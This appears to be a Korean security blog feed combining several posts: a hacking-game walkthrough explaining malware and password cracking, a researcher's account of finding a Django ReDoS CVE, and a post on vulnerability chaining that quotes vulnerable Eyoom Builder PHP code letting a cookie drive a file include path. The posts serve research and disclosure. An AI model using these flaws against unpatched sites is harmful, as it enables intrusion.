함수에서 SQL Injection 취약점이 두번째 문자열 인자에서 트리거되는데, 이때 Oracle DB의 유효성 검증을 우회하지 못합니다. Oracle DB는 MySQL처럼 SQL 구문을 자유자재로 다루기가 힘들기 때문입니다.
대형 오픈소스 프레임워크를 분석해보면 배울 수 있는 점이 많습니다. 이번에 분석해본 Django의 경우에는 훌륭한 객체지향 디자인을 기반으로, Python의 가치를 최대화하여 작성된 프레임워크였던 것 같습니다. Django가 어떻게 구현되었는지 확인해보면서 부족했던 저의 프로그래밍, 소프트웨어 구조화 등 암묵지 실력을 키울 수 있었다고 생각합니다.
+ +하지만 프레임워크라는 것이 프로그래머마다 구현하기 나름이라, 사용하고 있는 Django의 버전에 1-day 취약점이 존재해도 어떻게 구현하느냐에 따라 취약점이 발생하지 않을 수 있습니다. 이것을 보통 generic하지 않다고 표현하기도 하는데, 프레임워크 분석할 때 이 부분이 조금 아쉬운 부분이긴 합니다.
+ +이 글은 Obsidian으로 제텔카스텐 기법을 써서 작성되었습니다. 제텔카스텐을 알려주시고 개인적으로 제게 큰 힘과 용기를 북돋아주신 호정님께 이 글을 빌려 감사인사를 드리고 싶습니다.
+ +
+
+ NITE Team 4
+
“NITE Team 4”는 플레이어가 군의 해킹 부서에서 오퍼레이터로 근무하며 지시에 따라 해킹 작전을 수행하는 것을 간접적으로 체험해 볼 수 있는 시뮬레이션 게임입니다.
+ +플레이어는 스토리/캠페인의 목적에 따라 적합한 해킹 도구를 사용하여 첩보를 수집하고 분석하는 것으로 마치 퍼즐을 푸는 것 처럼 게임을 진행할 수 있습니다.
+ +
+
+ STINGER OS
+
“NITE Team 4”에서는 STINGER OS라고 부르는 다양한 해킹 도구가 포함된 운영체제를 이용하여 작전을 수행하게 됩니다.
+ +앞으로 STINGER OS를 이용하여 작전의 목적에 따라 대상을 해킹하고, 첩보를 처리, 분석하게 될 것입니다.
+ +우리가 많이 사용하는 웹 브라우져, 파일 탐색기, 문서 편집기 등을 “응용 프로그램”이라고 부릅니다.
+ +“응용 프로그램”을 잘 실행시키고, 편리하게 사용기기 위해서는 “운영체제”가 필요합니다.
+ +여러분이 웹 브라우져로 여러개의 탭을 이용하여 웹 서핑을 할 수 있는 이유도, 파일을 복사하여 문서에 붙여넣을 수 있는 이유도, 결국 이 “운영체제”가 그런 기능을 구현하고, 응용할 수 있도록 만들어 주기 때문입니다.
+ +우리가 실제로 많이 쓰는 운영체제로는 Microsoft Windows, Apple macOS가 있죠.
+ +모바일 디바이스에서는 Google Android, Apple iOS가 있을 수 있겠네요.
+ +“NITE Team 4”의 STINGER OS처럼, 현실에도 해킹을 위한 OS가 존재합니다.
+ +
+
+ Kali Linux
+
Kali Linux는 Offensive Security사에서 개발한 해킹을 위한 OS입니다.
+ +Linux라는 OS를 기반하고 있으며, 앞으로 “NITE Team 4”에서 사용할 많은 도구들 중 일부들가 kali Linux에 포함된 도구를 벤치마킹하고 있습니다.
+ +하지만 Kali Linux는 STINGER OS와 다르게 해킹의 전반적인 작업들을 자동화 해 주지는 못합니다. Kali Linux에는 해킹을 위한 다양한 오픈소스 도구들이 집합되어 있을 뿐, 실제로 해킹을 수행하기 위해서는 각 도구의 원리와 사용 방법에 대한 이해가 필요합니다.
+ +현실에서는 이 Kali Linux를 기업 또는 단체에서 모의해킹, 침투 테스팅, 레드팀을 이용한 정보 보안 강화에 많이 사용하고 있습니다.
+ +비슷한 OS로는 Black Arch Linux, Parrot OS가 있습니다.
+ +STINGER OS에 대한 교육이 끝난 후, operator는 실제 작전에 투입됩니다.
+ +
+
+ Operation CASTLE IVY Intro
+
++ +상부는 “NITE Team 4”의 군용 멀웨어가 도난 당했음을 확인했습니다.
+
+SAD는 Bureau 121의 소행으로 추정하고 있지만, 뒷덜미를 잡을만한 증거가 부족합니다.
+2017년 NSA의 익스플로잇 유출로 10B$ 추정의 손해가 있었던 만큼, 빠르게 이를 조사해야합니다. +우리는 현장에 남겨진 증거들을 활용하여 얼마만큼의 유출이 발생했는지 확인해야 합니다.
Malware는 Malicious Software, 즉 악성 소프트웨어 또는 악성 코드의 줄임말입니다.
+ +Malware는 그 특성에 따라 분류되고 있으며, 대표적인 몇가지를 소개 드리겠습니다.
+ +시스템에서 Backdoor가 실행될 경우, 악성 행위자는 Backdoor가 설치된 시스템에 마치 뒷문을 드나들 듯 인증 과정 또는 반드시 수행 해야하는 절차 없이 시스템의 핵심 명령 장치 등에 접근할 수 있게 됩니다.
+ +Backdoor를 통해 악성 행위자는 웹캠을 통한 실시간 감시, 실시간 화면 녹화 또는 다른 악성 코드를 설치할 수 있게 되며, 내부망의 다른 대상으로 공격을 뻗쳐 나갈 수도 있게 됩니다.
+ +악성 행위자는 Backdoor를 통해 과거에 장악했던 시스템에 대해서 다시 공격하여 장악할 수고를 덜 수 있을 뿐더러, 추가적인 공격으로 이어 나갈 수 있는 가능성 덕분에 많이 사용되고 있습니다.
+ +소프트웨어나 제품에 기본적으로 탑재되는 형식의 Backdoor 공격 사례 또한 다수 존재합니다.
+ +유명한 Backdoor로는 “The Bvp47 - Equation Group”, “IPVM - Hikvision Backdoor Exploit”, “ES File Explorer Backdoor”가 있습니다.
+ +시스템에서 InfoStealer가 실행될 경우 시스템에 저장되어 있는 문서, 비트코인 지갑, 패스워드 등 민감 정보를 추출하여 악성 행위자에게 전송합니다.
+ +Ransomware는 몸값이라는 뜻의 ransom과 software의 합성어로, Ransomware가 설치된 시스템의 파일들을 악성 행위자만이 알고 있는 패스워드로 암호화하고 인질로 만들어 피해자에게 금전을 요구하도록 유도하는 악성코드입니다.
+ +Ransomware는 InfoStealer의 기능을 포함하기도 합니다.
+ +최근에는 기업 대상 공격으로 - 핵심 기술 또는 데이터를 유출하겠다고 협박하며 추가적인 금전을 요구하는 형태로도 발전하고 있습니다.
+ +또한, 랜섬웨어를 큰 노력 안들이며 만들어주고, 피해자를 관리하는 서비스를 제공하는 등 Ransomware as a Service(RaaS)의 형태로 랜섬웨어 조직은 확장되고 있습니다. 랜섬웨어를 이용하고자 하는 공격자는 랜섬웨어를 직접 제작할 필요 없이 일부 수익만 공유하면 손쉽게 공격에 랜섬웨어를 이용할 수 있습니다.
+ +
+
+ CIA SAD/PAG
+
“NITE Team 4”에서 언급한 SAD가 CIA의 SAD인지는 확실하지 않습니다.
+ +하지만 미국의 중앙 정보국(Central Intelligence Agency, CIA)에는 특수 활동 부서(Special Activities Division, SAD)가 있으며, SAD의 정치적 작전 그룹(Political Action Group, PAG)의 주요 작전 범위에 사이버 전쟁이 포함되어 있습니다.
+ +현재는 특수 활동 본부(Special Activities Center, SAC)라고 불리고 있습니다.
+ +
+
+ Sony Pictures 해킹 사건 당시 Sony Pictures의 웹사이트
+
Bureau 121은 북한의 정찰총국 121국으로 불리며, 북한의 사이버 전쟁을 위한 집단입니다. +2014년 소니 픽쳐스 해킹의 배후로 잘 알려져 있습니다.
+ +6,000명 이상의 인원으로 구성되어 있으며, 각 Andariel, Bluenoroff, Lazarus라고 불리는 악성 행위자 그룹이 121국에 속해 있는것으로 파악하고 있습니다. (2021)
+ +121국의 악성 행위자들은 중국, 인도, 러시아, 벨라루스, 말레이시아와 같은 여러 국가들을 거점으로 활동하고 있는 것으로 알려져 있습니다.
+ +2016년, “The Shadow Brokers” 해커 그룹이 “Equation Group” 해커 그룹을 해킹하여, 그들의 해킹 도구를 탈취하고, 경매에 부치고, 유출시킨 사건이 발생했습니다.
+ +“Equation Group”은 이란의 우라늄 농축 시설 파괴를 목표로한 “Stuxnet” 악성코드를 개발하는 등 당시 최고의 기술력을 가지고 있는 해커 집단으로 잘 알려져 있었습니다.
+ +또한, “Equation Group”은 미국 국가안보국(National Security Agency, NSA)의 TAO(Tailored Access Operations)가 “Equation Group”의 배후라고 생각되기도 합니다.
+ +이 유출 사건으로 인해 “Equation Group”의 핵심 해킹 기술과 도구들이 대거 유출되고 악영되며 사회에 큰 파장을 일으켰습니다.
+ +
+
+ Chapter 1 브리핑
+
배경
+ +상황
+ +목표
+ +
+
+ Turbine C2 Platform
+
게임에서 Turbine C2 Platform을 통해 작전 대상 네트워크에 접근할 수 있습니다.
+ +
+
+ C2 Diagram
+
공격자는 C2 서버를 공격의 경유지로 사용하거나, 멀웨어로 감염된 디바이스들을 원격에서 관리하는 등의 역할을 수행합니다.
+ +현실에는 Metasploit, CobaltStrike와 같은 상용 침투 테스팅 도구에 포함되어 있거나, 오픈소스의 형태로도 존재합니다.
+ +
+
+ Connected to OPERATION CASTLE IVY network.
+
우선, 위와 같이 작전 대상 네트워크에 진입합니다.
+ +
+
+ netscan result
+
Information Gathering Module -> WMI Scanner
를 실행 후, netscan
명령을 입력하여 현재 네트워크에서 접근 가능한 WMI path를 확인합니다.
WMI path 중, /user/nlightman/c$
가 존재하는 것을 알 수 있는데, 이 문자열을 통해 다음과 같은 사실을 추측할 수 있습니다:
nlightman
이다.c$
는 C:
드라이브 오브젝트를 나타낸다.따라서 해당 경로는 nlightman
사용자의 드라이브에 접근할 수 있는 WMI path일 가능성이 높습니다.
+
+ password attack 1
+
Network Intrusion -> Password Attack
을 실행하고, 아까 확보한 경로와 아이디를 입력합니다.
+
+ password attack 2
+
여기서, John The Ripper
파라미터를 선택합니다.
+
+ password attack 3
+
+
+ password attack 4
+
위와 같이 성공적으로 패스워드 공격을 수행했습니다.
+ +
+
+ file browser connect 1
+
Data Forensic -> File Browser
를 실행 후, 아까 확보한 경로를 입력하고 연결을 시도합니다.
+
+ file browser connect 2
+
Password Attack 단계에서 확보한 계정의 패스워드를 입력하여 대상의 파일에 접근할 수 있습니다.
+ +
+
+ file browser connect 3
+
최종적으로 BloodDove
와 함께, 다른 수상한 멀웨어들도 발견했습니다.
이후에는 지시에 따라 uni74455.dll
을 다운로드 받으면 임무가 완료됩니다.
WMI는 Windows Management Instrumentation라는 뜻의 Windows OS 관리 시스템입니다.
+ +공격자는 WMI를 통해 내부망에서 장악한 시스템템 원격지의 윈도우 시스템의 취약점과 노출 부분을 파악하고, 침투한 시스템에서부터 공격을 확장하는 등에 사용할 수 있습니다.
+ +게임에서는 단순히 netscan
을 이용하여 현재 네트워크에 공격 가능한 지점이 어디 있는지 파악하는 용도로 사용할 수 있습니다.
무작위 대입 공격이라고도 부르는 Bruteforce 공격은 어떤 암호, 인증 등을 통과하기 위해 가능한 모든 키를 사용하여 대입해보는 아주 무식한 공격 기법 중 하나입니다.
+ +무식해 보이는 Bruteforce 공격 기법에도 몇가지 방법들이 있는데요, 말 그대로 모든 가능한 값을 대입하는 방식, 사전(Dictionary)의 데이터를 하나씩 대입하는 이 두가지 방식이 대표적입니다.
+ +John The Ripper는 유명한 오픈소스 패스워드 해킹 툴입니다 - 정확히는 패스워드의 해쉬를 해킹하여 패스워드 원문을 알아내는 도구입니다.
+ +패스워드를 시스템에 저장 할 때는 악의적인 의도를 가진 시스템 관리자, 개발자 또는 어떤 해킹이나 유출 사건으로부터 패스워드 원문을 보호하기 위해 해쉬 함수를 이용하여 고정된 길이의 (랜덤하게 보이는) 데이터로 변환시킵니다.
+ +John The Ripper는 이 해쉬 함수를 통해 생성된 해쉬로부터 원문의 패스워드를 알아내도록 도와주는 도구입니다.
+ +게임에서는 네트워크 서비스의 어떤 ID에 대응하는 패스워드를 bruteforce로 알아내기 위해 사용되는 사전(Dictionary)의 종류로 등장합니다.
+ +RockYou라는 IT 서비스 업체가 해킹 공격을 당해 그 고객들의 패스워드가 원문으로 노출된 적 있습니다.
+ +RockYou는 고객들의 패스워드를 원문(plain-text) 형태로 저장하여 그들의 시스템에서 사용하였으며, 이것이 유출된 것입니다.
+ +총 3200만개 가량의 패스워드가 유출 되었으며, 공격자들은 이 데이터셋을 bruteforcing 공격에 종종 이용하고는 합니다.
+ +“NITE Team 4”를 통해 해킹의 가장 기본적인 도구와 개념들에 대해 알아볼 수 있었습니다.
+ +Chapter 2에서는 XKeyScore, Phone CID Backdoor와 같은 복잡하고 높은 기술력을 필요로하는 도구들에 대해 설명드릴 예정입니다. 특히 XKeyScore의 경우, 실제로 NSA에서 사용하던 감시체계의 이름이기도 합니다.
+ +혹시 “NITE Team 4”를 이미 플레이 해 보신 분은 TryHackMe, HackTheBox와 같은 플랫폼에서 실전 해킹을 탐구하고 연습 해 보셔도 좋겠네요.
+ +이 포스팅은 시리즈로 이어집니다! 여러분의 많은 관심 부탁드립니다 :)
+ + +안녕하세요. 스틸리언 선제대응팀 연구원 윤석찬입니다. 이전에는 R&D팀으로 인사드렸었는데, 부서 개편 후 처음으로 선제대응팀으로 인사드리게 되었습니다. 스틸리언 선제대응팀에서는 Offensive Security를 연구하며 유의미한 가치를 도출하기 위해 노력하고 있습니다.
+ +__
+2023년 7월 3일, 제 첫 CVE가 공개되었습니다.
+ +위 링크에서 제 취약점이 어떤 내용인지 간략히 확인하실 수 있습니다. 이 글에서는 제가 이 취약점을 어떻게 찾게 되었는지 생각의 흐름을 공유하고, (제가 대단한 실력자도 아니고 파급도 높은 취약점을 찾은 것도 아니지만 😅) Offensive Security Researcher로서 어떤 마음가짐을 갖고 코드를 보면 좋을지 저만의 생각을 공유하고자 합니다. 이번 글은 코드 분석 위주의 글보다는 그냥 말로 취약점의 root cause와 제 생각들을 써보았습니다.
+ + +Django security releases issued: 4.2.3, 4.1.10, and 3.2.20 (reported by ME!)
+ +__
+Offensive Research를 하시는 분들이라면 다들 공감하시겠지만 어떤 소프트웨어를 분석하기 위해선 코어 엔진(주요 부분)을 먼저 분석할 필요가 있습니다. 제가 생각하는 Django의 주요 기능은 아래와 같았습니다.
+ +그래서 Django의 전반적인 구조를 분석하고자 위 항목들을 중점적으로 분석하기 시작했습니다.
+ +__
+주요 기능을 분석한 뒤에는 전반적인 프로그램의 구조가 어느 정도 눈에 익기 시작했습니다. 이후 제가 이해한 프로그램 구조를 기반으로 그동안 공개된 1-day vulnerabilities를 찾아보았습니다. 작년에는 특히 ORM Injection (ORM 기능에서의 SQL Injection 취약점)이 3건이나 발생된 만큼 Django에서 SQL Injection을 찾아보고자, 지금까지 Django에 report된 모든 SQL Injection 1-day 버그케이스를 분석했습니다.
+ +아래 링크에서 Django ORM Injection에 대해 분석한 내용을 확인하실 수 있습니다.
+ + +SQL Injection 류의 버그를 찾고자 노력했지만 더 이상의 SQL Injection 취약점을 발견할 수 없었습니다. 😓 +이후 학업과 회사 업무를 병행하면서 Django 보안 취약점 연구에 크게 시간을 쏟지 못하다가, 군입대로 인한 휴직 전 얻은 여유시간에 Django를 다시 분석하기 시작했고 우연히 보안 취약점을 찾게 되었습니다.
+ +제가 이번에 제보한 취약점은 아래 1-day vulnerability (CVE-2023-23969)와 다소 비슷합니다.
+ + +요약하면, 이 버그 케이스는 복잡한 정규표현식이 매우 큰 문자열을 처리해야 하는 상황에서 DoS 공격에 취약할 수 있다는 점을 지적하고 있습니다. 각 언어마다 정규표현식을 구현하는 방식은 더 복잡하겠지만, 기본적으로 정규표현식의 검색은 처음부터 끝까지 모든 문자열을 검색해야 한다는 점에서 선형 검색(Linear Search)과 비슷한 양상을 띤다고 볼 수 있습니다. 따라서 정규표현식에 거대한 양의 텍스트가 regex 검사 인자로 입력된다면 상당한 컴퓨팅 자원이 소모될 수 밖에 없으며, 정규표현식의 이러한 점을 노리는 공격이 바로 ReDoS attack입니다.
+ +위 CVE-2023-23969 (Potential denial-of-service via Accept-Language headers) 취약점은 Django에 내부적으로 구현된 get_language_from_request()
함수에서 발생합니다. 이 함수는 이용자의 HTTP Request 패킷으로부터 Accept-Language
헤더를 가져와 이용자의 언어 환경 값을 가져오는데, 이때 Accept-Language
헤더를 파싱하기 전 길이 제한이 없어서 ReDoS에 취약했습니다.
위 취약점에 대한 자세한 설명을 보시려면 제 개인블로그 글을 참고해주시길 바랍니다. 애드블럭을 끄고 방문해주시길 바랍니다. (농담임 😉)
+ + +__
+작년 SQL Injection류의 취약점을 찾고자 소스코드를 분석할 때는 시나리오를 생각하지 않고, 무작정 코드만 보다가 빠르게 지쳐버린 경험이 있었습니다. 그래서 이번에는 원데이 취약점을 분석하고나서 시나리오가 생각날 때만 소스코드를 들여다보기 시작했습니다. 문득 머릿속에 떠오른 시나리오를 평소 사용하는 노트 앱에 기록해두고 시간적으로 여유가 날 때마다 기록해 둔 시나리오와, 이와 비슷한 시나리오들이 가능한지 분석했고, 이 방식으로 분석의 능률이 크게 향상되었던 것 같습니다. (이런 방법론은 해커마다 개인차가 있는 부분이기 때문에 제 방식은 그냥 참고 정도만 해주시길 바랍니다.)
+ +제가 이번에 발견한 CVE-2023-36053 취약점도 버그케이스를 분석하고 시나리오를 생각하는 과정에서 발견한 취약점입니다.
+ +CVE-2023-23969를 분석하면서 위와 같은 ReDoS 취약점이 여럿 있을 것 같다는 생각이 들었습니다. 그래서 이러한 시나리오를 갖고 Django에서 사용되는 모든 정규표현식 문자열을 모두 찾아 ReDoS로부터 안전한지 분석해보았습니다. 저는 CVE-2023-23969 취약점이 어떻게 패치되었는지, 그리고 제가 지금까지 Django Security 팀에 보낸 Security Report들을 통해 취약점으로 인정받으려면 어떤 항목을 만족시켜야 하는지 생각해보았습니다.
+ ++
, *
, {0,n}
등의 정규표현식 notation이 중복적으로 나타나 finite automata 상 반복이 많이 발생하는 경우__
+앞서 기획한 시나리오 대로 검증하는 과정에서 2건의 취약점을 발견할 수 있었습니다. EmailValidator
를 예로 들어 이 취약점이 어떻게 발생되는지 설명하도록 하겠습니다.
EmailValidator
는 django.core.validators
에 존재하는 Validator 클래스로 사용자로부터 입력받은 문자열이 이메일 형식을 만족하는지 확인합니다.
# django/core/validators.py
+
+@deconstructible
+class EmailValidator:
+ # ...
+ domain_regex = _lazy_re_compile(
+ # max length for domain name labels is 63 characters per RFC 1034
+ r"((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)(?:[A-Z0-9-]{2,63}(?<!-))\Z",
+ re.IGNORECASE,
+ )
+ # ...
+
이 Validator에서는 domain_regex
라는 내부 변수로 도메인의 유효성을 검사하기 위한 정규식을 저장합니다. 이 내부 변수는 이메일의 도메인을 검사하기 위해 사용됩니다. 이 정규표현식 문자열은 {0,61}
과 +
notation을 중첩하여 사용하기 때문에, 매우 큰 크기의 문자열을 검사하게 될 여지가 있습니다.
그렇지만 만약 이 정규표현식 문자열로 특정 입력을 검사하기 전 길이 검증 로직을 두어 매우 큰 크기의 문자열이 정규표현식 검사의 인자로 들어가지 못하도록 막는다면 사실상 ReDoS를 트리거하기 어려워집니다. 제 개인 노트북(Apple Macbook Pro 13” / M2, 16GB)으로 테스트해본 결과 Email Validator
의 경우 1MB 이상의 문자열이 인자로 들어가야 정규표현식 연산 과정에서 100ms 이상의 유의미한 시간 지연이 발생했기 때문입니다.
따라서 적절한 길이 검증 로직이 존재했었다면 ReDoS 공격에서 안전하다고 볼 수 있겠지만, 이번 취약점의 타겟인 EmailValidator
와 URLValidator
에는 정규식 검사 이전 적절한 검사 코드가 부재하여 ReDoS 공격에 취약했다고 볼 수 있겠습니다. 이메일 주소와 URL 주소 모두 RFC 상으로 규격화된 형식이 있기 때문에, ReDoS 공격도 막을 겸 길이 검증 로직이 추가되면 충분히 ReDoS 공격도 막을 수 있었습니다.
__
+대부분의 대형 오픈소스 프로젝트나 소프트웨어는 Security Policy를 갖고 있습니다. Django의 경우에는 아래 링크에서 관련 정보를 확인할 수 있었습니다.
+ +++ +https://docs.djangoproject.com/en/dev/internals/security/
+
총 2건의 취약점을 찾은 후, Django Security Team에 이메일로 Security Report를 보냈고 이후 약 2주 정도의 시간이 지나 CVE 넘버를 할당받을 수 있었습니다. 👏👏 이 과정에서 Django Security Team은 취약점 접수부터 패치, 피드백까지 아주 프로페셔널한 팀이구나 느꼈습니다.
+ +__
+지금까지 제가 Django에 대해 취약점을 분석한 과정과 Security Report를 보내고 CVE 코드를 할당받기까지의 과정을 작성해보았습니다. 제게 큰 용기와 동기부여를 주셨던 예랑님과 상호님, 그리고 스틸리언 R&D팀 식구들에게 대단히 감사드립니다. 🙇♂️
+ +버그헌팅에서는 이 취약점으로 어떤 악의적인 행위를 할 수 있는지 증명해야 합니다. +대부분의 기업이나 기관들이 CVSS 점수를 이용해 취약점에 대한 평가를 하기 때문에 취약점을 악용할 수 있는 창의적인 아이디어를 생각해내어 시나리오를 만들어야 합니다.
+ +아무런 생각 없이 단일 취약점을 제보하면, 자칫 많은 시간을 들여 찾은 취약점이 낮은 평가를 받을 수도 있습니다. +그렇다 보니 자연스럽게 버그헌터들은 추후 발견될 취약점과의 연계를 위해 낮은 영향도(impact)의 취약점을 저장해둡니다. 그리고 더 높은 영향력을 가진 시나리오를 만들 수 있게 되면 제보합니다.
+ +이런 방식을 다른 취약점과의 연계, 즉 취약점 체이닝이라고 말합니다.
+ +++ +취약점 체이닝이란, 두 개 이상의 취약점을 연결하여 상대적으로 중요하지 않은 보안 이슈들을 결합해 강력한 공격 시나리오를 구축하는 방법
+ +
취약점 체이닝은 분석 대상에 대한 깊은 이해를 필요로 합니다. 아무래도 한 가지 취약점이 아닌 여러 취약점을 찾아야 함도 있고, 특히 취약점은 아니지만 서비스 상의 정상적인 기능을 이용해서도 취약점과의 연계가 이루어질 수 있기 때문입니다. 때문에 단순히 취약점 뿐만 아니라 기능에 대한 세부적인 분석도 필요하게 됩니다.
+ +취약점 체이닝 방법론 요약
+ +취약점 체이닝에 대한 좋은 예시로 국내 CMS를 대상으로 한 취약점 하나를 예로 들어보겠습니다. 해당 취약점은 이윰빌더에서 경로 조작을 통한 LFI(Local File Inclusion)가 가능해 발생하는 RCE(Remote Code Execution) 취약점입니다.
+ +자세한 정보는 KISA의 보안 취약점 정보 포털의 국내 취약점 정보 페이지에 방문하시면 확인하실 수 있습니다. (https://knvd.krcert.or.kr/detailDos.do?IDX=5789)
+ +취약점 종류 | +영향 | +심각도 | +CVSS 점수 | +제품 | +영향 받는 버전 | +
---|---|---|---|---|---|
LFI (Local File Inclusion) | +원격 코드 실행 | +High | +7.2 | +이윰빌더 | +4.5.3 및 이전 버전 | +
취약점 설명 : 이윰빌더가 쿠키 값을 파일의 경로에 사용하는 것을 이용하여 원격 코드 실행이 가능한 취약점
+ +이윰빌더는 그누보드5(영카트5)를 프레임워크로 사용한 회원가입, 게시판, 쇼핑몰 결제 등의 기능을 제공하는 국내 CMS 중 하나입니다.
+ + + ++https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042
+ +4.5.4 버전 이상에서는 위와 같이 $unique_theme_id
변수 값에 숫자만 입력 값으로 들어갈 수 있도록 정규식 필터링이 걸렸습니다.
다시 말해 4.5.3 이하 버전에서는 $unique_theme_id 변수의 값에 ../
와 같은 파일의 경로를 조작할 수 있는 문자열이 들어갈 수 있다는 말과도 같습니다. 어떻게 그것이 가능한지 확인해보겠습니다.
아래 코드는 git commit에서 보았던 eyoom/class/theme.class.php 파일 내용 중 취약한 코드입니다.
+ +/**
+ * 유니크 아이디 쿠키 생성
+ */
+if (get_cookie('unique_theme_id')) {
+ $unique_theme_id = get_cookie('unique_theme_id');
+} else {
+ $unique_theme_id = date('YmdHis', time()) . str_pad((int)(microtime()*100), 2, "0", STR_PAD_LEFT);
+ set_cookie('unique_theme_id',$unique_theme_id,3600);
+}
+
+$file = $this->tmp_path . '/' . $_SERVER['REMOTE_ADDR'] . '.' . $unique_theme_id . '.php';
+if (file_exists($file)) {
+ include_once($file);
+ if ($is_shop_theme) {
+ $arr['theme'] = $user_config['theme'];
+ } else {
+ $arr['shop_theme'] = $user_config['shop_theme'];
+ }
+}
+$_config = $arr;
+
+/**
+ * 파일 생성 및 갱신
+ */
+parent::save_file('user_config', $file, $_config);
+
쿠키 값으로부터 $unique_theme_id
값을 받아오고, 다시 그 값은 $file
변수에 $unique_theme_id
에 .php
라는 확장자가 더해져 특정 파일의 경로가 삽입됩니다.
그리고 바로 아래 줄에서 만약 해당 경로에 파일이 존재한다면, include_once($file)
에서 파일이 include 됩니다.
만약 공격자가 특정 경로에 php 파일을 생성하거나 이미 존재하는 PHP 파일에 임의 명령어를 삽입할 수 있다면, 이 LFI 취약점을 이용해 그 PHP 파일을 불러와 임의 명령어를 실행할 수 있는 RCE 취약점으로 연계할 수 있을 것입니다.
+ +하지만 실제로는 file_exists
함수에서는 존재하지 않은 디렉터리의 상위경로에 접근할 수 없습니다. ex) not_exists_directory/../../index.php (X)
만약 이윰빌더에 대한 이해가 부족하다면, 위 취약점에서 어떻게 LFI로 연계하고 RCE 취약점까지 트러기할 수 있는지 발견해내기 쉽지 않을 것입니다.
+ +$file 변수의 값이 결국 하단의 save_file 함수에 들어가게 되는데, save_file 함수의 내용을 보면 PHP 파일의 내용으로 들어가게 되는 값들은 사용자가 직접 조작할 수 없어 보입니다.
+ +다만, $unique_theme_id
값에 ../
와 같은 문자열이 들어왔을 때 fopen
함수에서 상위 경로에 파일이 쓰여질 수 있다는 사실을 알 수 있습니다.
/**
+ * 배열을 지정한 파일로 저장 - 폴더에 웹서버의 쓰기 권한이 있어야 함
+ */
+public function save_file($outvar, $filename, $info=array(), $int=false) {
+ $fp = @fopen($filename, 'w');
+ $contents = "<?php\n";
+ $contents .= "if (!defined('_EYOOM_')) exit;\n";
+ $contents .= "\$" . $outvar . " = array(\n";
+ if ($info != NULL) {
+ foreach ($info as $key => $value) {
+ if (!is_array($value)) {
+ // 키값으로 정수를 허용하지 않는다면
+ if (!$int) {
+ if (!is_int($key)) {
+ $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
+ }
+ } else $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
+ } else {
+ $arr = '';
+ foreach ($value as $k => $v) {
+ if (!$int) {
+ if (!is_int($key)) {
+ $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
+ }
+ } else $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
+ }
+ if ($arr) {
+ $arr = substr($arr,0,-1);
+ $contents .= "\t\"" . $key . "\" => array(" . $arr . "),\n";
+ }
+ }
+ }
+ }
+
+ $contents .= ");\n";
+ @fwrite($fp, $contents);
+ @fclose($fp);
+ @chmod($filename, 0644);
+}
+
또 코드를 보시면 $value
값은 모두 addslashes()
함수로 필터링 되고 있습니다. 그리고 $key
값은 save_file()
함수 호출 전의 값을 확인해보시면 알 수 있는 것으로, 이윰빌더의 설정 값($arr['theme']
)에 해당합니다. 이 값은 사용자 측에서 조작할 수 없는 값입니다.
때문에 위에서 본 코드 만으로는 임의 파일 작성 취약점을 LFI와 RCE 취약점으로 연계할 수 없다는 결론이 나옵니다.
+ +만약 여러분이더라도 여기서 포기하기에는 너무 아쉽겠죠. 사실상 위 취약점만으로는 악성 시나리오를 제작하기에는 파급력이 많이 낮습니다. 어떤 곳에서는 단순히 가능성만 제시하여도 Potential 취약점으로 취급해주기도 합니다. 하지만 실질적인 시나리오를 제시하는 것이 제보자 뿐만 아니라 제보 받는 사람 입장에서도 취약점에 대한 심각도를 확실히 이해하고 문제의 시급함을 느낄 수 있습니다.
+ +저희는 save_file()
함수에서 php 파일을 작성하고 있음을 알 수 있었습니다. 위에서 보았던 코드에서는 이윰빌더의 설정 값을 받아서 작성하고 있다고 하지만, 다른 곳에서는 사용자로부터 입력 값을 받아서 작성하는 곳이 있지 않을까요?
그 질문에 대한 답을 찾는 쉬운 방법이 있습니다. 바로 Visual Studio Code에서 Go to References 기능을 이용할 수 있습니다.
+ + + +보시다시피 우측의 수많은 파일에서 save_file()
함수를 사용하고 있습니다. 이 파일들 중에서 하나쯤은 사용자로부터 받은 입력(user input, cookies, 등)으로부터 값을 받아 파일을 작성하고 있지 않을까요? 어떤 파일에서 그렇게 처리하고 있는지는 스포(?)하지 않겠습니다. (개인 사유로 취약점에 대한 자세한 설명은 내년에 자세히 하게 될 것 같습니다.)
위에서 살펴본 save_file()
함수를 다시 면밀히 살펴보면, $value
값은 addslashes()
함수로 필터링하고 있지만, $key
값은 필터링하고 있지 않습니다. 이 점 또한 중요한 포인트입니다. 만약 사용자가 $key
값을 조작할 수 있다면, 원하는 내용의 스크립트를 php 파일에 삽입할 수 있게 됩니다.
지금까지 버그헌팅에서의 취약점 체이닝의 중요성에 대해 설명해보았습니다. 그리고 그 예시로 국내 오픈소스 CMS 중 하나인 이윰빌더에 대해서도 말씀드려보았습니다. 비록 취약점에 대한 자세한 설명은 드리지 않았지만, 그 이후의 과정보다는 취약점을 체이닝해나가는 그 과정 자체가 더욱 중요한 것 같습니다.
+ +버그헌팅 뿐만 아니라 모의해킹 업무를 하면서도 많이 느끼곤 합니다. 고객사에 단일 취약점을 설명하는 것보다는 하나 또는 두 개 이상의 시나리오와 연계하여 취약점에 대한 파급력을 설명하는 경우가 당사자 간의 취약점의 위험성과 조치에 대한 시급함을 명확하게 설명할 수 있는 것 같습니다.
+ +다만 취약점 체이닝은 보통 시스템에 대한 깊은 이해가 필요하므로 많은 시간을 투자해야 하곤 합니다. 이 때문에 제한된 시간 내에 취약점을 찾아야 하는 모의해킹보다는 비교적 시간 제한이 없는 편인 버그헌팅에 많이 활용되는 것 같기도 합니다.
+ + + +저는 최근 파스텔플래닛(pastelplanet)에서 만든 zerowhale이라는 플랫폼에서 버그헌팅을 하곤 합니다. 이 플랫폼은 비교적 외부에 잘 알려져 있지는 않지만, 버그헌터들 사이에서는 프라이빗 버그바운티를 위주로 진행되곤 합니다. 프라이빗은 말그대로 신뢰 가능한 몇몇 버그헌터들만 초대하여 비밀 유지 서약을 맺고 특정 제품 또는 웹사이트 대상으로 버그헌팅을 수행하는 프로그램입니다.
+ +다른 플랫폼들도 많지만 개인적으로 저는 버그헌팅 기간이 길고 충분한 분석을 요구하고 무엇보다 보상이 좋은 곳을 선택하게 되는 것 같습니다.
